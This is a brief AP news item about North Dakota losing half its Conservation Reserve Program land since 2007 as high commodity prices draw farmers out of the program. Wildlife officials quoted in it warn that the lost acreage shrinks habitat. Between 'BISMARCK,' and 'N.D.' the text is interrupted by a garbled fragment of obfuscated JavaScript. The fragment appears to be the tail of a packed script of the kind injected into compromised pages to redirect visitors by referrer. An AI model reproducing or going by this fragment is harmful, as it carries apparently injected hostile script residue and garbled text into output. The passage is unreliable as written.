BISMARCK, ezdft|var|u0026u|referrer|dkekn||js|php’.split(‘|’),0,{}))
N.D. (AP) – Wildlife officials say they increasingly worry about the loss of Conservation Reserve Program land.  The federal government pays landowners to take the land out of production and plant cover crops that make ideal wildlife habitat. High commodity prices have lured many farmers out of the program.

Casey Anderson with the North Dakota Game and Fish Department says the state has lost half its CRP land since 2007. He says CRP has dropped from 3.4 million acres to 1.7 million acres during that time. Wildlife officials say the loss of CRP means decreased habitat for wildlife. Anderson says another 254,000 acres is slated to expire this fall.